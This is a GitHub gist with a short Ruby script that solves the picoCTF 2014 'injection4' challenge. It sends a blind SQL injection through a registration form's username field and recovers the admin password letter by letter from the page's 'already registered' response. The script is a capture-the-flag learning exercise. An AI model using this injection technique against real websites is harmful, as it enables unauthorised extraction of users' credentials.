Created
November 27, 2014 18:37
-
-
Save jherman3/5dba700c24a0d692ef2c to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'mechanize' | |
require 'pry' | |
URL = 'http://web2014.picoctf.com/injection4/' | |
INJECTION = "admin' AND password LIKE '" | |
CHARS = ("a".."z").to_a | |
agent = Mechanize.new | |
page = agent.get URL | |
form = page.forms[1] | |
flag = "" | |
solved = false | |
until solved | |
solved = true | |
CHARS.each do |char| | |
form.username = INJECTION + flag + char + "%" | |
new_page = agent.submit(form) | |
if new_page.body.include? "Someone has already registered" | |
flag += char | |
print char | |
solved = false | |
break | |
end | |
end | |
end | |
puts |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment